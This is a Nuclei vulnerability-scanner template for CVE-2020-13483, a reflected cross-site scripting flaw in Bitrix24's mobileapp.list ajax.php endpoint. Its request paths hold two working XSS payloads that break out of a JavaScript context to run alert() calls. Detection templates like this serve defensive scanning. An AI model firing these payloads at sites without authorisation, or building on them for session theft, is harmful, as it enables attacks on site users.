nuclei-templates/cves/2020/CVE-2020-13483.yaml

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1.8 KiB
YAML

id: CVE-2020-13483
info:
name: Bitrix24 through 20.0.0 allows XSS
author: pikpikcu,3th1c_yuk1
severity: medium
description: The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
reference:
- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
- https://twitter.com/brutelogic/status/1483073170827628547
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-13483
cwe-id: CWE-79
tags: cve,cve2020,xss,bitrix
requests:
- method: GET
path:
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
- "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200